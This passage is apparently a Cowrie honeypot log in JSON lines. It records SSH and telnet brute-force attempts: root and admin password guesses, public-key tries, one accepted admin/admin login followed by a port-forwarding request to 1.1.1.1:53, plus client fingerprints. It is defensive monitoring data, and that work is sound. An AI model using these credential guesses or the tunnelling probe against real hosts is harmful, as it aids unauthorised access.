{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f8:af:99:eb:89:28:c4:7b:39:98:06:ba:d3:1a:93:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+YVjP2xXVp3zuO1/tLC4u6ZF76Hgjp8gJ5qOYcvsFsAeG+VYxgPG7wrGSoarVdmQOty7Yf/qcZ1vW0ryYueL0Aj71xkwQyzMc6zkfA4GvoiTlJgVtMa6dJ0UkAPVejqiqohCNqnDFIFrcmnCXaIjhVfweC4JaAKn+sf4RLow3LjsFK41J3X8CldvDy5bjg2fZQ6O17O+VdB6BKDMWHxlrs14Cn0f68+Qf6WXqGrYxtI+0JTptc7PnCnN0nGPn57Whnx2tAds/ASGjEeneYAdowwPJ+smjqAyc+r4N9vsEu3ZA6a599KrUhI3LVXHQ3FsoNdx9mmld96ZuqqDsryeFi6VO2JAIwMw9G6PY1+qe5KZe787zkp3k14qhkG8wFSoRl2QOZ+HpzViymiTC70exAvV6srcP1vZOSFhGyZ/XbNii8T16a1S3F4IQAIaE7cg3xhCxQxVSiQtD2cDePsDXTSpA9xPk8n/p7Y0XcrH8WLIsJrSUNT6MTfciI174GdPVNQl51E9rshbnmhi6RLSCELteLeRHaCYZCjmycwCNo3cID8mP9bv/YIpHcrtvhgVJZ6POglPjzfJBHZeo6BYqglx5MVuBpezS3P2ayNjvbGnKAcfGZZWMTRIoXyxq6AIRr8OIW09e1cfOEyD2W7VZy8RUKPMjQ3tRPMr2olz5+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f8:af:99:eb:89:28:c4:7b:39:98:06:ba:d3:1a:93:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.313817Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f8:af:99:eb:89:28:c4:7b:39:98:06:ba:d3:1a:93:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+YVjP2xXVp3zuO1/tLC4u6ZF76Hgjp8gJ5qOYcvsFsAeG+VYxgPG7wrGSoarVdmQOty7Yf/qcZ1vW0ryYueL0Aj71xkwQyzMc6zkfA4GvoiTlJgVtMa6dJ0UkAPVejqiqohCNqnDFIFrcmnCXaIjhVfweC4JaAKn+sf4RLow3LjsFK41J3X8CldvDy5bjg2fZQ6O17O+VdB6BKDMWHxlrs14Cn0f68+Qf6WXqGrYxtI+0JTptc7PnCnN0nGPn57Whnx2tAds/ASGjEeneYAdowwPJ+smjqAyc+r4N9vsEu3ZA6a599KrUhI3LVXHQ3FsoNdx9mmld96ZuqqDsryeFi6VO2JAIwMw9G6PY1+qe5KZe787zkp3k14qhkG8wFSoRl2QOZ+HpzViymiTC70exAvV6srcP1vZOSFhGyZ/XbNii8T16a1S3F4IQAIaE7cg3xhCxQxVSiQtD2cDePsDXTSpA9xPk8n/p7Y0XcrH8WLIsJrSUNT6MTfciI174GdPVNQl51E9rshbnmhi6RLSCELteLeRHaCYZCjmycwCNo3cID8mP9bv/YIpHcrtvhgVJZ6POglPjzfJBHZeo6BYqglx5MVuBpezS3P2ayNjvbGnKAcfGZZWMTRIoXyxq6AIRr8OIW09e1cfOEyD2W7VZy8RUKPMjQ3tRPMr2olz5+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.317978Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:a6:15:60:5d:ee:0f:62:8c:cb:c2:ad:c9:6e:72:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4lcbfSAaH0anIRAElAjm04QR4mUb8ZuDzIDfhp8StFZ0IwHNY5J9RuzKLvMeyJ9gSmAeBcRMIZL/MW1G/nB57mYcHJOrtHL0BAgN/vdF+hp2fijQlnQGcwA/mKARQyFMKg32OJgl3IxRLNeuYZgJONhJ6pMK1Fi0MkrZauIOdVCJ5o9MNC0vvDtg/GeTpIfFKwOkSCvoKv6KciwQcrNc+GwbRULF/toFXoQB0NvepYOwFTqmWb6adMPD3evXcS1Sep6wIGMXTvLjovAFDUOFEGsbAUFMQzQ8IUVilad0b/7igWA9cpapD1D/0DBMx9EDOKKIorcr9k/UipE2asKVUazHyGcyMkL6L017DnX9e963NVvWC9sXnctdSR2pTnNZE9IDlMJWTAYj1cWMPC781G08ntvfQ2dDAwnRbuqZ+ScyppJ8xHF/bfEJnSCNfUwQ6BVa2YHgFuS+xQWq9lv5hgJlEJ2ZQa8k9PRyZqD0y3ZIXFTvmOheUbkwDPRffl0UjDO3pZ0G22KmLb6dpoEgXBR82K3lvZWjPTkvH4FJlYcBuLcW7L2ZOIQfXCKBqvIXeGPo3XjYFV41zn6Dp9Tg1M0Br/i1MDq6E3GKwRZCQsZ+1P0Jo3Yp4XqH/xlKgLrz2KHrT9/56dod7Qb5cgIYJ+CgWhoDadSJGXvG6uzxvIw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:a6:15:60:5d:ee:0f:62:8c:cb:c2:ad:c9:6e:72:80","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.452227Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:a6:15:60:5d:ee:0f:62:8c:cb:c2:ad:c9:6e:72:80","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC4lcbfSAaH0anIRAElAjm04QR4mUb8ZuDzIDfhp8StFZ0IwHNY5J9RuzKLvMeyJ9gSmAeBcRMIZL/MW1G/nB57mYcHJOrtHL0BAgN/vdF+hp2fijQlnQGcwA/mKARQyFMKg32OJgl3IxRLNeuYZgJONhJ6pMK1Fi0MkrZauIOdVCJ5o9MNC0vvDtg/GeTpIfFKwOkSCvoKv6KciwQcrNc+GwbRULF/toFXoQB0NvepYOwFTqmWb6adMPD3evXcS1Sep6wIGMXTvLjovAFDUOFEGsbAUFMQzQ8IUVilad0b/7igWA9cpapD1D/0DBMx9EDOKKIorcr9k/UipE2asKVUazHyGcyMkL6L017DnX9e963NVvWC9sXnctdSR2pTnNZE9IDlMJWTAYj1cWMPC781G08ntvfQ2dDAwnRbuqZ+ScyppJ8xHF/bfEJnSCNfUwQ6BVa2YHgFuS+xQWq9lv5hgJlEJ2ZQa8k9PRyZqD0y3ZIXFTvmOheUbkwDPRffl0UjDO3pZ0G22KmLb6dpoEgXBR82K3lvZWjPTkvH4FJlYcBuLcW7L2ZOIQfXCKBqvIXeGPo3XjYFV41zn6Dp9Tg1M0Br/i1MDq6E3GKwRZCQsZ+1P0Jo3Yp4XqH/xlKgLrz2KHrT9/56dod7Qb5cgIYJ+CgWhoDadSJGXvG6uzxvIw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.455962Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:cf:7c:47:16:8a:55:e2:82:8f:4d:d8:61:7f:8f:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTgtALTFLEAYEAdMQ48DFpybHijDEwb4rhrYr2OT70R3VebXo3LR2Z/dDJ0qtUw8VghFxA4zyfzC71Z7I+/+1rfHz1nn2zji4MZ59QmosA9JHbzlYl2hfRc62XfILwbDRBI6CSnOEULXcJgddKTjFJi+s7WB+XhRSEK7l6Vm2gD1FGTVorAF+zBcdXOtWPN45z0mO3Y3w6+Vr+9tukw7T1tlFiPLbHXqvdjmuiwOGoL5I2O7ms8CVA9oVfYSVndnN1GdptJBbKJTaypJ0SIGa/AuSMbcZ5GXXIm7rVjVWfj52bDceH0Ako+O+/xaRrcozksRSyund41EF4+2UYKWuh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:cf:7c:47:16:8a:55:e2:82:8f:4d:d8:61:7f:8f:ac","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.590242Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:cf:7c:47:16:8a:55:e2:82:8f:4d:d8:61:7f:8f:ac","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDTgtALTFLEAYEAdMQ48DFpybHijDEwb4rhrYr2OT70R3VebXo3LR2Z/dDJ0qtUw8VghFxA4zyfzC71Z7I+/+1rfHz1nn2zji4MZ59QmosA9JHbzlYl2hfRc62XfILwbDRBI6CSnOEULXcJgddKTjFJi+s7WB+XhRSEK7l6Vm2gD1FGTVorAF+zBcdXOtWPN45z0mO3Y3w6+Vr+9tukw7T1tlFiPLbHXqvdjmuiwOGoL5I2O7ms8CVA9oVfYSVndnN1GdptJBbKJTaypJ0SIGa/AuSMbcZ5GXXIm7rVjVWfj52bDceH0Ako+O+/xaRrcozksRSyund41EF4+2UYKWuh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.593805Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1b:22:21:c8:10:77:03:01:2a:a4:0c:22:19:b0:d4:34","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALtq3JWZ75ko+Irn2xHNnb2HmWCaflDktCu6uIMivjgeW8Q3QjlYAedsA+Kb1q2QKzoLIJHfDHKIPmcxAfw5XDfGZBYOSmCGVIGEELTsMtvPk4/QkO61eRiWCi9tf35eIv979UI1fj0FPVXrGlyLYTFCt9rfA3FRWmyV4rzzIVYfAAAAFQDWF4vC0VhWLDY0txGpI0milKaM9wAAAIA8mg9rFp9WBMT4sc8HgStTBlZjQ5TqKm4Ejk+FjRDumx0XBrJVlUF5Q4SrAmBlYUVDw/KEXUKdchV23UJ2sV+rMpXhAXlxYYkfaQIkN4zuwdX82FZCGIUCcT7DqbgFRRpjJJboXMRrWZ3uGwZa9UHSlzn2ICl9ahg/dvT+CuaBHQAAAIEAuhWZuJ+jOA4dosOsvLdecRUAeYckEQm+142YH+dCr/HA44UEgz/M6ov9MB8zW45wcbELEd553NlMn8RS+TGcNsQ3NfwyLRHV1KhejBW771aa7XgrxHAz6eZPvEWDGed5+FhgxBf3sjGwkWkuxfrhnmP2j0F9Fb/1zTIi1qDLg/U=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 1b:22:21:c8:10:77:03:01:2a:a4:0c:22:19:b0:d4:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.731852Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1b:22:21:c8:10:77:03:01:2a:a4:0c:22:19:b0:d4:34","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALtq3JWZ75ko+Irn2xHNnb2HmWCaflDktCu6uIMivjgeW8Q3QjlYAedsA+Kb1q2QKzoLIJHfDHKIPmcxAfw5XDfGZBYOSmCGVIGEELTsMtvPk4/QkO61eRiWCi9tf35eIv979UI1fj0FPVXrGlyLYTFCt9rfA3FRWmyV4rzzIVYfAAAAFQDWF4vC0VhWLDY0txGpI0milKaM9wAAAIA8mg9rFp9WBMT4sc8HgStTBlZjQ5TqKm4Ejk+FjRDumx0XBrJVlUF5Q4SrAmBlYUVDw/KEXUKdchV23UJ2sV+rMpXhAXlxYYkfaQIkN4zuwdX82FZCGIUCcT7DqbgFRRpjJJboXMRrWZ3uGwZa9UHSlzn2ICl9ahg/dvT+CuaBHQAAAIEAuhWZuJ+jOA4dosOsvLdecRUAeYckEQm+142YH+dCr/HA44UEgz/M6ov9MB8zW45wcbELEd553NlMn8RS+TGcNsQ3NfwyLRHV1KhejBW771aa7XgrxHAz6eZPvEWDGed5+FhgxBf3sjGwkWkuxfrhnmP2j0F9Fb/1zTIi1qDLg/U=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.736089Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:17.870966Z","src_ip":"200.26.188.219","session":"d13aa979ba38","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34284,"dst_ip":"10.17.0.5","dst_port":23,"session":"570b50c4c8e9","protocol":"telnet","message":"New connection: 152.42.224.71:34284 (10.17.0.5:23) [session: 570b50c4c8e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:19.699642Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.139.74","src_port":50258,"dst_ip":"10.17.0.5","dst_port":22,"session":"587a38e82c03","protocol":"ssh","message":"New connection: 43.135.139.74:50258 (10.17.0.5:22) [session: 587a38e82c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:20.077835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:20.082541Z","src_ip":"43.135.139.74","session":"587a38e82c03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:20.151557Z","src_ip":"43.135.139.74","session":"587a38e82c03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34300,"dst_ip":"10.17.0.5","dst_port":23,"session":"d316657883d8","protocol":"telnet","message":"New connection: 152.42.224.71:34300 (10.17.0.5:23) [session: d316657883d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:20.244077Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"superuser","message":"login attempt [root/superuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:20.458681Z","src_ip":"43.135.139.74","session":"587a38e82c03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:21.529831Z","src_ip":"43.135.139.74","session":"587a38e82c03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.37842273712158,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:22.552467Z","src_ip":"152.42.224.71","session":"03d331fde792","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":63.33357310295105,"message":"Connection lost after 63 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:23.323297Z","src_ip":"152.42.224.71","session":"915d9a78194c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.252","src_port":39172,"dst_ip":"10.17.0.5","dst_port":22,"session":"43ea87265f1f","protocol":"ssh","message":"New connection: 45.79.207.252:39172 (10.17.0.5:22) [session: 43ea87265f1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:26.997734Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.121.214.50","src_port":49664,"dst_ip":"10.17.0.5","dst_port":22,"session":"27b8c0f09805","protocol":"ssh","message":"New connection: 117.121.214.50:49664 (10.17.0.5:22) [session: 27b8c0f09805]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:28.939539Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:28.944204Z","src_ip":"117.121.214.50","session":"27b8c0f09805","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:29.198672Z","src_ip":"117.121.214.50","session":"27b8c0f09805","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pwd@123456","message":"login attempt [root/pwd@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:30.247687Z","src_ip":"117.121.214.50","session":"27b8c0f09805","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:31.363450Z","src_ip":"45.79.207.252","session":"43ea87265f1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:31.504667Z","src_ip":"117.121.214.50","session":"27b8c0f09805","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39596,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6a64e277155","protocol":"telnet","message":"New connection: 152.42.224.71:39596 (10.17.0.5:23) [session: e6a64e277155]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:31.588198Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":16384,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eaff5b71388","protocol":"ssh","message":"New connection: 87.251.64.176:16384 (10.17.0.5:22) [session: 1eaff5b71388]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:42.785860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:42.789897Z","src_ip":"87.251.64.176","session":"1eaff5b71388","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:42.886591Z","src_ip":"87.251.64.176","session":"1eaff5b71388","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:43.175981Z","src_ip":"87.251.64.176","session":"1eaff5b71388","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:43.275042Z","session":"1eaff5b71388","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:43.372465Z","src_ip":"87.251.64.176","session":"1eaff5b71388","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:43.472306Z","src_ip":"87.251.64.176","session":"1eaff5b71388","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.144.134","src_port":37704,"dst_ip":"10.17.0.5","dst_port":22,"session":"796e1e8b0c6c","protocol":"ssh","message":"New connection: 166.1.144.134:37704 (10.17.0.5:22) [session: 796e1e8b0c6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:47.555304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:38:47.575357Z","src_ip":"166.1.144.134","session":"796e1e8b0c6c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","ae